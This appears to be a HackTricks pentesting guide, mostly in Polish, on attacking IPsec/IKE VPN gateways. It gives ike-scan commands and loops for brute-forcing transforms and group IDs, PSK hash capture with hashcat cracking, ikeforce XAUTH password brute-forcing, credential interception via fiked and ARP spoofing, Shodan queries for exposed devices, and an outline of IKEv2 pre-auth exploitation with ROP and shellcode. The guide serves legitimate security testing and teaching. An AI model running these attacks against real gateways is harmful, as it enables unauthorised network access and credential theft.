500/udp - Pentesting IPsec/IKE VPN

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

IPsec jest powszechnie uznawany za główną technologię zabezpieczającą komunikację między sieciami (LAN-to-LAN) oraz połączenia zdalnych użytkowników do bramy sieciowej (remote access), stanowiąc podstawę rozwiązań VPN w przedsiębiorstwach.

Ustanowienie security association (SA) między dwoma punktami jest zarządzane przez IKE, który działa w ramach ISAKMP — protokołu zaprojektowanego do uwierzytelniania i wymiany kluczy. Proces ten przebiega w kilku fazach:

  • Phase 1: Tworzony jest bezpieczny kanał między dwoma końcówkami. Osiąga się to za pomocą Pre-Shared Key (PSK) lub certyfikatów, stosując main mode, który obejmuje trzy pary komunikatów, lub aggressive mode.
  • Phase 1.5: Choć nieobowiązkowa, ta faza, znana jako Extended Authentication Phase, weryfikuje tożsamość użytkownika próbującego się połączyć poprzez wymaganie nazwy użytkownika i hasła.
  • Phase 2: Faza ta poświęcona jest negocjacji parametrów zabezpieczających dane przy użyciu ESP i AH. Pozwala na zastosowanie algorytmów innych niż w Phase 1 w celu zapewnienia Perfect Forward Secrecy (PFS), zwiększając bezpieczeństwo.

Domyślny port: 500/udp

Często wystawiany także: 4500/udp (NAT Traversal)

Odkryj usługę za pomocą nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Znalezienie poprawnej transformacji

Konfiguracja IPSec może być przygotowana tak, aby akceptowała tylko jedną lub kilka transformacji. Transformacja to kombinacja wartości. Each transform zawiera szereg atrybutów, takich jak DES lub 3DES jako algorytm szyfrowania, SHA lub MD5 jako algorytm integralności, pre-shared key jako typ uwierzytelniania, Diffie-Hellman 1 lub 2 jako algorytm dystrybucji klucza oraz 28800 sekund jako czas życia.

Pierwszą rzeczą, którą musisz zrobić, jest znaleźć poprawną transformację, aby serwer z tobą rozmawiał. W tym celu możesz użyć narzędzia ike-scan. Domyślnie Ike-scan działa w main mode i wysyła pakiet do bramy z nagłówkiem ISAKMP oraz pojedynczą propozycją zawierającą osiem transforms.

W zależności od odpowiedzi możesz uzyskać pewne informacje o punkcie końcowym:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Jak widać w poprzedniej odpowiedzi, istnieje pole o nazwie AUTH z wartością PSK. Oznacza to, że vpn jest skonfigurowany przy użyciu preshared key (i to jest naprawdę dobre dla pentester).
Wartość ostatniej linii jest również bardzo istotna:

  • 0 returned handshake; 0 returned notify: Oznacza to, że cel jest not an IPsec gateway.
  • 1 returned handshake; 0 returned notify: Oznacza to, że target is configured for IPsec and is willing to perform IKE negotiation, and either one or more of the transforms you proposed are acceptable (a valid transform will be shown in the output).
  • 0 returned handshake; 1 returned notify: VPN gateways odpowiadają komunikatem notify, gdy none of the transforms are acceptable (choć niektóre bramy tego nie robią, w takim wypadku należy przeprowadzić dalszą analizę i spróbować zmodyfikowanej propozycji).

W tym przypadku już mamy prawidłową transformację, ale jeśli znajdujesz się w 3. przypadku, wtedy musisz brute-force a little bit to find a valid transformation:

First of all you need to create all the possible transformations:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

A następnie brute-force każdego z nich za pomocą ike-scan (to może zająć kilka minut):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Jeśli brute-force nie zadziałał, możliwe, że serwer odpowiada bez handshakes nawet na prawidłowe transforms. Wtedy możesz spróbować tego samego brute-force, ale używając aggressive mode:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Miejmy nadzieję, że poprawna transformacja zostanie zwrócona.
Możesz spróbować tego samego attacka używając iker.py.
Możesz też spróbować brute force przekształceń za pomocą ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

W DH Group: 14 = 2048-bit MODP i 15 = 3072-bit
2 = HMAC-SHA = SHA1 (w tym przypadku). Format --trans do postaci $Enc,$Hash,$Auth,$DH

Cisco zaleca unikać używania grup DH 1 i 2, ponieważ nie są wystarczająco silne. Eksperci uważają, że kraje dysponujące dużymi zasobami mogą z łatwością złamać szyfrowanie danych wykorzystujących te słabe grupy. Odbywa się to przez zastosowanie specjalnej metody przygotowującej je do szybkiego łamania szyfrów. Mimo wysokich kosztów wdrożenia tej metody, pozwala ona tym potężnym krajom odczytywać zaszyfrowane dane w czasie rzeczywistym, jeśli używana jest grupa niesilna (np. 1024-bitowa lub mniejsza).

Server fingerprinting

Następnie możesz użyć ike-scan, aby spróbować odkryć producenta urządzenia. Narzędzie wysyła propozycję początkową i przestaje powtarzać. Potem przeanalizuje różnicę czasu pomiędzy odebranymi wiadomościami od serwera a pasującym wzorcem odpowiedzi — pentester może w ten sposób skutecznie zidentyfikować dostawcę bramy VPN. Ponadto niektóre serwery VPN będą używać opcjonalnego payloadu Vendor ID (VID) z IKE.

Określ prawidłową transformację, jeśli to konieczne (używając --trans)

Jeśli IKE wykryje producenta, wypisze go:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Można to również osiągnąć za pomocą skryptu nmap ike-version

Specyficzne dla IKEv2: WatchGuard Vendor ID version fingerprinting

Niektóre demony IKEv2 dołączają niestandardowe ładunki Vendor ID w odpowiedzi IKE_SA_INIT. WatchGuard Fireware OS koduje wersję/build urządzenia bezpośrednio wewnątrz VID, co pozwala na single-packet, pre-auth fingerprinting.

  • Transport: UDP/500 (i UDP/4500 dla NAT-T)
  • Pakiet: odpowiedź IKE_SA_INIT zawiera jeden lub więcej ładunków Vendor ID
  • Format WatchGuard: 32-bajtowy hash, po którym następuje base64, które dekoduje się do np. VN=12.11.3 BN=719894

Przykładowe surowe bajty z ładunku VID WatchGuard (ostatnie 12 bajtów to base64):

00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807  ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b  .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243  Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d            Tj03MTk4OTQ=

Szybkie wyodrębnianie w shellu, gdy masz base64 tail:

echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894

Notes

  • This is not part of any IKEv2 RFC. Treat it as a vendor quirk for rapid scoping of exposed/vulnerable Fireware OS versions.
  • You only need to elicit an IKE_SA_INIT reply; no authentication is required.

Znalezienie poprawnego ID (nazwa grupy)

Aby móc przechwycić hash, potrzebna jest prawidłowa transformacja obsługująca Aggressive mode oraz poprawne ID (nazwa grupy). Prawdopodobnie nie będziesz znać prawidłowej nazwy grupy, więc będziesz musiał przeprowadzić brute-force.
W tym celu polecam 2 metody:

Bruteforcing ID with ike-scan

First of all try to make a request with a fake ID trying to gather the hash (“-P”):

ike-scan -P -M -A -n fakeID <IP>

Jeżeli no hash is returned, prawdopodobnie ta metoda brute forcing zadziała. Jeżeli zostanie zwrócony jakiś hash, oznacza to, że zostanie odesłany fake hash dla fake ID, więc ta metoda nie będzie wiarygodna aby brute-force’ować ID. Na przykład może zostać zwrócony fake hash (zdarza się to we współczesnych wersjach):

Ale jak już mówiłem, jeśli no hash is returned, powinieneś spróbować brute-force’ować common group names za pomocą ike-scan.

Ten skrypt will try to brute-force possible IDs i zwróci te IDs, dla których zostanie zwrócony ważny handshake (to będzie prawidłowy group name).

Jeśli odkryłeś konkretną transformację, dodaj ją do polecenia ike-scan. A jeśli odkryłeś kilka transformacji, możesz dodać nową pętlę (loop), żeby spróbować ich wszystkich (powinieneś sprawdzić wszystkie, aż jedna zadziała poprawnie).

Możesz użyć dictionary of ikeforce lub the one in seclists of common group names to brute-force them:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Or use this dict (is a combination of the other 2 dicts without repetitions):

Bruteforcing ID with Iker

iker.py również używa ike-scan do bruteforcowania możliwych nazw grup. Stosuje własną metodę, aby znaleźć poprawny ID na podstawie outputu ike-scan.

Bruteforcing ID with ikeforce

ikeforce.py to narzędzie, które można użyć do brute force IDs also. Narzędzie to będzie próbowało wykorzystać różne luki które mogą posłużyć do rozróżnienia między poprawnym a niepoprawnym ID (mogą wystąpić false positives i false negatives, dlatego wolę używać metody ike-scan, jeśli to możliwe).

Domyślnie ikeforce wyśle na początku kilka losowych ID, aby sprawdzić zachowanie serwera i określić taktykę do użycia.

  • The first method is to brute-force the group names by searching for the information Dead Peer Detection DPD of Cisco systems (this info is only replayed by the server if the group name is correct).
  • The second method available is to checks the number of responses sent to each try because sometimes more packets are sent when the correct id is used.
  • The third method consist on searching for “INVALID-ID-INFORMATION” in response to incorrect ID.
  • Finally, if the server does not replay anything to the checks, ikeforce will try to brute force the server and check if when the correct id is sent the server replay with some packet.\

Oczywiście celem bruteforcowania ID jest uzyskanie PSK gdy masz poprawny ID. Następnie, mając ID i PSK, będziesz musiał brute-force’ować XAUTH (jeśli jest włączony).

Jeśli odkryłeś konkretną transformację, dodaj ją w poleceniu ikeforce. A jeśli odkryłeś kilka transformacji, śmiało dodaj nową pętlę, aby wypróbować je wszystkie (powinieneś próbować je wszystkie, aż jedna zadziała poprawnie).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(Z książki Network Security Assessment: Know Your Network): Możliwe jest również uzyskanie prawidłowych nazw użytkowników przez sniffing połączenia między klientem VPN a serwerem, ponieważ pierwszy pakiet w trybie Aggressive Mode zawierający client ID jest wysyłany w jasnym tekście

Aggressive Mode identity leakage

Aggressive Mode musi wysłać ID wcześnie, aby gateway mógł wybrać odpowiedni PSK, gdy istnieje multiple groups/users. To oznacza, że identity is exposed pre-auth, w przeciwieństwie do Main Mode, gdzie jest zaszyfrowane w późniejszych pakietach. Możesz ją szybko wyodrębnić:

ike-scan -A <IP>
# Look for: ID(Type=ID_USER_FQDN, Value=ike@corp.tld)

Jeśli Aggressive Mode jest włączony, przechwyć podatny na złamanie PSK handshake i złam go offline (hashcat mode 5400):

ike-scan -A --pskcrack=handshake.txt <IP>
hashcat -m 5400 handshake.txt /path/to/wordlist.txt

Przechwytywanie i łamanie hash

Odzyskane PSKs są często ponownie wykorzystywane jako poświadczenia dla innych usług (SSH, VPN client auth), więc przetestuj je na odsłoniętych usługach.

Na koniec — jeśli znalazłeś prawidłową transformację i nazwę grupy, oraz jeśli tryb agresywny jest dozwolony, wtedy bardzo łatwo możesz wyciągnąć hash możliwy do złamania:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Hash zostanie zapisany w hash.txt.

Możesz użyć psk-crack, john (używając ikescan2john.py) i hashcat, aby crackować hasha:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE w połączeniu z Pre-Shared Key (PSK) jest powszechnie stosowany do celów uwierzytelniania grupowego. Metoda ta jest rozszerzana przez XAuth (Extended Authentication), które wprowadza dodatkową warstwę uwierzytelniania użytkownika. Takie uwierzytelnianie zazwyczaj wykorzystuje usługi takie jak Microsoft Active Directory, RADIUS lub podobne systemy.

Przechodząc do IKEv2 obserwuje się istotną zmianę: zamiast XAuth używany jest EAP (Extensible Authentication Protocol) do uwierzytelniania użytkowników. Zmiana ta podkreśla ewolucję praktyk uwierzytelniania w obrębie protokołów bezpiecznej komunikacji.

MitM w sieci lokalnej do przechwycenia poświadczeń

Możesz przechwycić dane logowania za pomocą fiked i sprawdzić, czy istnieje domyślna nazwa użytkownika (Musisz przekierować ruch IKE do fiked w celu sniffingu, co można zrobić za pomocą ARP spoofing, more info). Fiked będzie działał jako endpoint VPN i przechwyci poświadczenia XAuth:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Dodatkowo, używając IPSec spróbuj przeprowadzić atak MitM i zablokować cały ruch na porcie 500, jeśli tunel IPSec nie może zostać ustanowiony, ruch może być wysyłany w postaci niezaszyfrowanej.

Brute-forcing XAUTH username ad password with ikeforce

Aby przeprowadzić brute force na XAUTH (gdy znasz prawidłową nazwę grupy id i psk) możesz użyć pojedynczego username lub listy usernames oraz listy passwords:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

W ten sposób ikeforce spróbuje nawiązać połączenie, używając każdej kombinacji username:password.

Jeśli znajdziesz jedną lub kilka prawidłowych transformacji, użyj ich tak jak w poprzednich krokach.

Uwierzytelnianie w IPSEC VPN

W Kali do tworzenia tuneli IPsec wykorzystywany jest VPNC. Profiles muszą znajdować się w katalogu /etc/vpnc/. Możesz uruchomić te profile za pomocą polecenia vpnc.

Poniższe polecenia i konfiguracje ilustrują proces konfigurowania połączenia VPN za pomocą VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

W tym ustawieniu:

  • Zastąp [VPN_GATEWAY_IP] rzeczywistym adresem IP bramy VPN.
  • Zastąp [VPN_CONNECTION_ID] identyfikatorem połączenia VPN.
  • Zastąp [VPN_GROUP_SECRET] sekretem grupy VPN.
  • Zastąp [VPN_USERNAME] i [VPN_PASSWORD] poświadczeniami uwierzytelniającymi VPN.
  • [PID] oznacza identyfikator procesu, który zostanie przypisany, gdy vpnc się uruchomi.

Upewnij się, że podczas konfigurowania VPN podstawione zostaną rzeczywiste, bezpieczne wartości zastępujące symbole zastępcze.

IKEv2 exploitation notes: pre-auth IDi/CERT processing bugs

Nowoczesne urządzenia VPN często udostępniają IKEv2 na UDP/500 (oraz UDP/4500 dla NAT-T). Częstą powierzchnią ataku przed uwierzytelnieniem jest parsowanie ładunków Identification (IDi) i Certificate podczas IKE_SA_AUTH.

Ogólny przebieg eksploatacji, gdy istnieje podatny parser IKEv2:

  • Wyślij poprawny IKE_SA_INIT, aby wynegocjować transforms i dokończyć Diffie–Hellman.
  • Następnie wyślij IKE_SA_AUTH zawierający IDi, który wywołuje błąd (np. nadmiernie duże Identification skopiowane do bufora stosu o stałym rozmiarze przed walidacją certyfikatu).
  • Korupcja pamięci może dać kontrolę nad zapisanymi rejestrami i adresem powrotu.
  • Przy włączonym NX, ale braku pozostałych zabezpieczeń (brak PIE/canaries), zbuduj łańcuch ROP wywołujący mprotect na stronie stosu, a następnie przekaż wykonanie do wstrzykniętego shellcode’a lub do dostępnego interpretera (np. /usr/bin/python3), jeśli /bin/sh nie jest dostępny.

Przykładowe domyślne transformaty obserwowane w niektórych urządzeniach IKEv2 (WatchGuard Fireware OS 12.11.3):

  • SHA2-256–AES(256-bit) with DH Group 14
  • SHA1–AES(256-bit) with DH Group 5
  • SHA1–AES(256-bit) with DH Group 2
  • SHA1–3DES with DH Group 2

Praktyczne wskazówki

  • Celuj w oba porty UDP/500 i UDP/4500; serwery NAT-T mogą odpowiadać tylko na 4500.
  • Zwiększ bufor odbioru i timeouty dla skanerów opartych na UDP, aby uniknąć utraty pakietów.
  • Jeśli serwis ujawnia niestandardowe Vendor IDs (zob. sekcję powyżej), użyj ich, aby szybko rozpoznać podatne wersje przed wysłaniem ruchu eksploatacyjnego.

Reference Material

Shodan

  • port:500 IKE
  • port:4500 "UDP"
  • udp port:500,4500 "WatchGuard"

Źródła

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks